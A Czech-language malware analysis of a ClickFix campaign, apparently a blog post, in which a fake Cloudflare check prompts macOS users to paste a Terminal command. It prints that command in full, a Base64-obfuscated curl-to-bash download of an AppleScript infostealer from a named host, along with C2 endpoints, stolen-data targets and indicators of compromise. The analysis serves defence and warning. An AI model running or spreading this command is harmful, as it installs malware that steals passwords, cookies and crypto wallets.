V poslední době nabývá na popularitě technika sociálního inženýrství označovaná jako ClickFix. Útočník vytvoří falešnou ověřovací stránku napodobující CAPTCHA nebo Cloudflare ochranu, která uživatele vyzve ke spuštění příkazu přímo v jeho systému – na Windows prostřednictvím dialogu Win + R, na macOS otevřením Terminalu přes ⌘ + Mezerník.
Pokud uživatel pokyn splní, dojde zpravidla ke kompromitaci systému malwarem.
Při jednom z běžných sezení na iPadu jsem narazil na stránku zobrazující ověřovací okno vizuálně totožné s legitimní Cloudflare výzvou:

Po interakci s oknem mě stránka vyzvala k provedení následujících kroků:
Terminal a potvrzení klávesou EnterPříkaz jsem rozpoznal jako potenciálně škodlivý, uložil jsem ho k analýze a nespustil.
Zachycený příkaz měl následující podobu:
echo "Y3VybCAtc0wgIiQoZWNobyAnYUhSMGNITTZMeTl0Wld0dmFXeHpkV2hoY25WdExtTnZiUzlqYkM5cGJtUmxlQzV3YUhBPScgfCBiYXNlNjQgLWQpIiB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash
Příkaz dekóduje řetězec zakódovaný v Base64 a výsledek předá interpretu bash. Dekódováním první vrstvy získáme:
curl -sL "$(echo 'aHR0cHM6Ly9tZWtvaWxzdWhhcnVtLmNvbS9jbC9pbmRleC5waHA=' | base64 -d)" | nohup bash &
Jedná se o další vrstvu Base64 – tentokrát zakódovanou URL. Příkaz stáhne vzdálený skript pomocí curl -sL a spustí ho na pozadí prostřednictvím nohup bash &. Po dekódování druhé vrstvy obdržíme finální payload URL:
curl -sL https://mekoilsuharum.com/cl/index.php | nohup bash &
Aby bylo možné payload analyzovat bez rizika infekce, upravil jsem příkaz tak, aby skript pouze stáhl bez spuštění:
curl -sL https://mekoilsuharum.com/cl/index.php > payload.applescript
Stažený soubor se ukázal být plnohodnotným infostealerem napsaným v AppleScript, zaměřeným na macOS systémy. Skript jsem nahrál na VirusTotal – výsledky analýzy zde.
.txt, .pdf, .docx, .wallet, .key, .keys, .kdbx.NoteStore.sqlite) včetně mediálních příloh.login.keychain-db).security.dscl authonly.ditto do archivu /tmp/alego.zip.toast(), která je schopná stáhnout a nahradit libovolnou aplikaci v /Applications/. Pravděpodobně slouží k perzistenci nebo trojaniizaci legitimního softwaru. V analyzované verzi je tato funkce deaktivována.| Doména | Účel |
|---|---|
mekoilsuharum.com/cl/index.php |
Distribuční server – hostuje payload |
api.uterimoxis.com/api/data/receive |
C2 server – příjem exfiltrovaných dat (POST) |
api.uterimoxis.com/api/health |
C2 server – heartbeat endpoint |
gamma.api.uterimoxis.com |
Dropper/update endpoint (zakomentováno) |
Každý request na C2 obsahuje hlavičku X-Bid: f48fbe39836779cadbf148b5952919fd, která slouží jako identifikátor kampaně nebo bota.
Následující techniky odpovídají klasifikaci MITRE ATT&CK:
| ID | Název | Popis |
|---|---|---|
| T1555.001 | Credentials from Password Stores: Keychain | Extrakce hesel z macOS Keychain |
| T1539 | Steal Web Session Cookie | Krádež session cookies z prohlížečů |
| T1528 | Steal Application Access Token | Krádež tokenů krypto peněženek |
| T1056.002 | Input Capture: GUI Input Capture | Falešný systémový dialog pro získání hesla |
| T1041 | Exfiltration Over C2 Channel | Odesílání dat přes HTTP na C2 server |
| T1560 | Archive Collected Data | Komprimace dat před exfiltrací |
Soubory a cesty:
/tmp/alego.zip/tmp/stravy/~/.pwd~/.usernameSíť:
uterimoxis.commekoilsuharum.comProcesy / chování:
Tato kampaň kombinuje sociální inženýrství (ClickFix), vícenásobné Base64 kódování pro obfuskaci a sofistikovaný AppleScript infostealer. Výsledkem je útok, který je pro běžného uživatele těžko rozpoznatelný a který v případě úspěchu poskytuje útočníkovi kompletní přístup k prohlížečovým datům, krypto peněženkám, souborům i systémovému heslu.
Pokud se vám zobrazí výzva ke spuštění příkazu v Terminalu jako součást „ověření", jedná se vždy o útok. Žádná legitimní služba tento postup nevyžaduje.
Poznámka AI jsem při tvorbě tohoto článku využil výhradně pro návrh struktury a konzultační doporučení. Samotný výzkum i obsah jsou výsledkem mé vlastní práce.